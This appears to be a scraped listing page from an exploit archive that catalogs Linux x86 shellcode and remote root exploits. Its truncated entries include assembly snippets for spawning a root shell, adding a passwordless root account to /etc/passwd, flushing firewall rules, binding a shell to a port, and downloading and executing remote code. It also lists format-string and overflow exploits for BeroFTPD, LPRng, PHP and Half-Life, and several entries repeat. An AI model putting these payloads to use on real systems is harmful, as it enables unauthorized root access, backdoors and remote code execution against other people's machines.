linux/x86 setuid(0) + execve(/bin/sh) 28 bytes

No description provided by source. / revenge-setuid.c, v1.0 2006/09/30 14:57 linux/x86 setuid0 + execve"/bin//sh", "/bin//sh", NULL shellcode once again... setuid 6 bytes + execve 22 bytes = 28 bytes Same as revenge-execve.c we start the 2 system calls with a mov resulting in 2 bytes less, but th...

linux/x86 - add root user r00t with no password to /etc/passwd 69 bytes

linux/x86 add root user r00t with no password to /etc/passwd 69 bytes. Shellcode exploit for linx86 platform / By Kris Katterjohn 11/14/2006 69 byte shellcode to add root user 'r00t' with no password to /etc/passwd for Linux/x86 section .text global start start: ; open"/etc//passwd", OWRONLY |...

linux/x86 set system time to 0 and exit 12 bytes

No description provided by source. / By Kris Katterjohn 11/18/2006 12 byte shellcode to set system time to 0 and exit. No real damage : exit code is the last 5 bytes 0x6a - 0x80 for Linux/x86 section .text global start start: ; stime0 push byte 25 pop eax cdq push edx mov ebx, esp int 0x80 ; exit...

linux/x86 - set system time to 0 and exit 12 bytes

linux/x86 set system time to 0 and exit 12 bytes. Shellcode exploit for linx86 platform / By Kris Katterjohn 11/18/2006 12 byte shellcode to set system time to 0 and exit. No real damage : exit code is the last 5 bytes 0x6a - 0x80 for Linux/x86 section .text global start start: ; stime0 push byte...

linux/x86 - /sbin/ipchains -F 40 bytes

linux/x86 /sbin/ipchains -F 40 bytes. Shellcode exploit for linx86 platform / By Kris Katterjohn 11/18/2006 40 byte shellcode to flush ipchains for Linux x86 section .text global start start: ; execve"/sbin/ipchains", "/sbin/ipchains", "-F", NULL , NULL push byte 11 pop eax cdq push edx push word...

linux/x86 add root user r00t with no password to /etc/passwd 69 bytes

Exploit for linux/x86 platform in category shellcode ===================================================================== linux/x86 add root user r00t with no password to /etc/passwd 69 bytes ===================================================================== / By Kris Katterjohn 11/14/2006 69...

linux/x86 - setuid0 + execve/bin/sh 28 bytes

linux/x86 setuid0 + execve/bin/sh 28 bytes. Shellcode exploit for linx86 platform / revenge-setuid.c, v1.0 2006/09/30 14:57 linux/x86 setuid0 + execve"/bin//sh", "/bin//sh", NULL shellcode once again... setuid 6 bytes + execve 22 bytes = 28 bytes Same as revenge-execve.c we start the 2 system cal...

linux/x86-64 execve/bin/sh 33 bytes

linux/x86-64 execve/bin/sh 33 bytes. Shellcode exploit for linx86-64 platform Linux/X86-64 Dummy for shellcode: execve"/bin/sh", "/bin/sh", NULL hophet at gmail.com .text .globl start start: xorq %rdx, %rdx movq $0x68732f6e69622fff,%rbx shr $0x8, %rbx push %rbx movq %rsp,%rdi xorq %rax,%rax pushq...

BeroFTPD 1.3.4(1) Linux x86 Remote Root Exploit

No description provided by source. / BeroFTPD 1.3.41 Linux x86 remote root exploit by qitest1 - 5/05/2001 BeroFTPD is an ftpd derived from wuftpd sources. This code exploits the format bug of the site exec cmd, well known to be present in wuftpd-2.6.0 and derived daemons. BeroFTPD 1.3.41 is the...

Half Life (rcon) Remote Buffer Overflow Exploit

No description provided by source. / SDI HalfLife rcon remote exploit for linux x86 portuguese exploit remoto para o buffer overflow do rcon no halflife Tamandua Sekure Labs Sao Paulo - Porto Alegre, Brazil by Thiago Zaninotti c0nd0r [email protected] Gustavo Scotti csh [email protected] Proof of...

PHP 3.0.16/4.0.2 Remote Format Overflow Exploit

No description provided by source. / PHP 3.0.16/4.0.2 remote format overflow exploit. Copyright c 2000 Field Marshal Count August Anton Wilhelm Neithardt von Gneisenau [email protected] my regards to sheib and darkx All rights reserved Pascal Boucheraine's paper was enlightening THERE IS NO...

LPRng 3.6.24-1 Remote Root Exploit

No description provided by source. / REMOTE ROOT EXPLOIT for linux x86 - LPRng-3.6.24-1 RedHat 7.0 The RedHat 7.0 replaced the BSD lpr with the LPRng package which is vulnerable to format string attacks because it passes information to the syslog incorrectly. You can get remote root access on...

linux/x86 setuid/portbind shellcode 96 bytes

No description provided by source. / $Id: portbind-linux.c,v 1.4 2004/06/02 12:22:30 raptor Exp $ portbind-linux.c - setuid/portbind shellcode for Linux/x86 Copyright c 2003 Marco Ivaldi [email protected] Simple portbind shellcode that bind's a setuid0 shell on port 31337/tcp based on...

linux/x86 executes command after setreuid (9 + 40 bytes + cmd)

No description provided by source. / bunkerexec.c V1.3 - Tue Mar 21 22:50:18 CET 2006 Linux/x86 bytecode that executes command after setreuid 9 + 40 bytes + cmd setreuid0, 0 + execve"/bin//sh", "/bin//sh","-c","cmd", NULL; "cmd" MUST be terminated with ";" better with ";exit;" :-D bunker -...

linux/x86 setuid(0) and /bin/sh execve() shellcode 30 bytes

No description provided by source. / $Id: setuid-linux.c,v 1.4 2004/06/02 12:22:30 raptor Exp $ setuid-linux.c - setuid/execve shellcode for Linux/x86 Copyright c 2004 Marco Ivaldi [email protected] Short fully-functional setuid0 and /bin/sh execve shellcode. / / setuid0 8049380: 6a 17 push...

linux/x86 stdin re-open and /bin/sh exec shellcode

No description provided by source. / $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $ gets-linux.c - stdin re-open shellcode for Linux/x86 Copyright c 2003 Marco Ivaldi [email protected] Local shellcode for stdin re-open and /bin/sh exec. It closes stdin descriptor and re-opens...

linux/x86 HTTP/1.x GET, Downloads and execve() 111 bytes+

Exploit for linux/x86 platform in category shellcode ========================================================= linux/x86 HTTP/1.x GET, Downloads and execve 111 bytes+ ========================================================= / linux/x86 - HTTP/1.x GET, Downloads and execve - 111 bytes+ This...

openmovieeditor 0.0.20060901 - 'name' Local Buffer Overflow

/ openmovieeditor buffer overflow exploit by qnix envt/envt -s 2 Shellcode: linux/x86 setuid0,setgid0 execve/bin/sh, /bin/sh, NULL 37 bytes + Setting memory for the shellcode. + Copying shellcode to memory. + Putting shellcode in the environment. + Going into the environment ENVT and exiting...

linux/x86 re-use of /bin/sh string in .rodata shellcode 16 bytes

Exploit for linux/x86 platform in category shellcode ================================================================ linux/x86 re-use of /bin/sh string in .rodata shellcode 16 bytes ================================================================ / $Id: reusage-linux.c,v 1.3 2004/01/30 20:08:46...

linux/x86 stdin re-open and /bin/sh exec shellcode

linux/x86 stdin re-open and /bin/sh exec shellcode. Shellcode exploit for linx86 platform / $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $ gets-linux.c - stdin re-open shellcode for Linux/x86 Copyright c 2003 Marco Ivaldi Local shellcode for stdin re-open and /bin/sh exec. It closes std...